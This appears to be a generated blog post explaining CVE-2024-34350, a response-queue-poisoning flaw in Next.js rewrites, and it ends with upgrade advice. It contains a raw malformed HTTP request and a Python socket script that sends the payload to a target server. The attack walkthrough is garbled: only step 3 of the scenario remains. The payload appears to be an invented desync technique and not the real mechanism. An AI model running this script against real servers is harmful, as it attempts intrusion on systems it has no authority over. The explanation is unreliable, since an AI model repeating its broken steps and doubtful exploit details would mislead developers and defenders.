CVE-2024-34350 - Next.js Rewrites Feature Vulnerability Explained – Response Queue Poisoning in Next.js <13.5.1

Next.js is a popular React framework used to build scalable web applications. But like any software, sometimes vulnerabilities sneak in that can put your projects at risk. That’s what happened with CVE-2024-34350—a bug that lets attackers poison response queues in certain versions of Next.js.

In this article, we’ll break down how this happened, walk through simple examples and code snippets, explain the exploit, and show you how to stay safe. This post is exclusive, hands-on, and written in plain language for developers and security professionals.

What is CVE-2024-34350?

CVE-2024-34350 is a security flaw found in Next.js versions before 13.5.1. The root issue is that if you use the rewrites feature in next.config.js, a crafted HTTP request can confuse the Next.js server. The server might think the request is both one request and also two separate requests, causing a “desynchronized response.” In simple words: responses can get mixed up between users—a classic web application danger.

*Official Reference:*
GitHub Security Advisory: CVE-2024-34350

How Does the Exploit Work?

When an HTTP request comes in, Next.js parses it and handles the queue of responses. Normally, one request means one response. But, if a malformed request targets a route with rewrites enabled, Next.js can get confused. It may treat it as two requests in one, but still only have one queue for sending back responses.

If an attacker times things right, they can trick the server into giving someone else the response meant for them, effectively stealing information or poisoning what the victim sees.

*Attack scenario:*

Server gets confused and queues up two responses for the attacker’s single request.

3. The next real user makes a request. The server mistakenly sends the attacker’s response to the victim, and vice versa.

next.config.js

module.exports = {
  async rewrites() {
    return [
      {
        source: '/api/old-route',
        destination: '/api/new-handler',
      }
    ];
  },
};

If your app is running any Next.js version prior to 13.5.1 with rewrites like this, you're potentially exposed.

Let’s simulate a malicious HTTP request. Normally, a browser sends requests like

GET /api/old-route HTTP/1.1
Host: yoursite.com

An attacker might send a malformed request with a newline embedded, causing confusion

GET /api/old-route HTTP/1.1\r\n
GET /api/other-route HTTP/1.1\r\n
Host: yoursite.com

This could trick the internal request parser into desynchronizing its response queue.

*Python example of raw socket attack:*

import socket

s = socket.socket()
s.connect(('target.nextjs-server.com', 80))
payload = b"GET /api/old-route HTTP/1.1\r\nGET /api/other-route HTTP/1.1\r\nHost: target.nextjs-server.com\r\n\r\n"
s.sendall(payload)
print(s.recv(4096))
s.close()

Here, the attacker is sending two requests in a single TCP packet. The vulnerable Next.js server processes these incorrectly if the rewrites feature is in play.

Upgrade Next.js to at least 13.5.1

npm install next@latest
# or
yarn add next@latest

Check your next.config.js for any rewrites and review your deployment.

Conclusion

CVE-2024-34350 is a real-life example of how even the best frameworks can have hidden risks. If you're using rewrites in Next.js, ensure that you're on version 13.5.1 or newer. This update squashes the bug and keeps your application and its users safe.

Security is an ongoing process—stay updated, review your configs, and always be ready to patch. Safe coding!

*Original links and reference are provided above. This writeup is exclusive to this prompt and draws from the latest security details as of June 2024.*

Timeline

Published on: 05/14/2024 15:38:41 UTC
Last modified on: 08/02/2024 02:51:11 UTC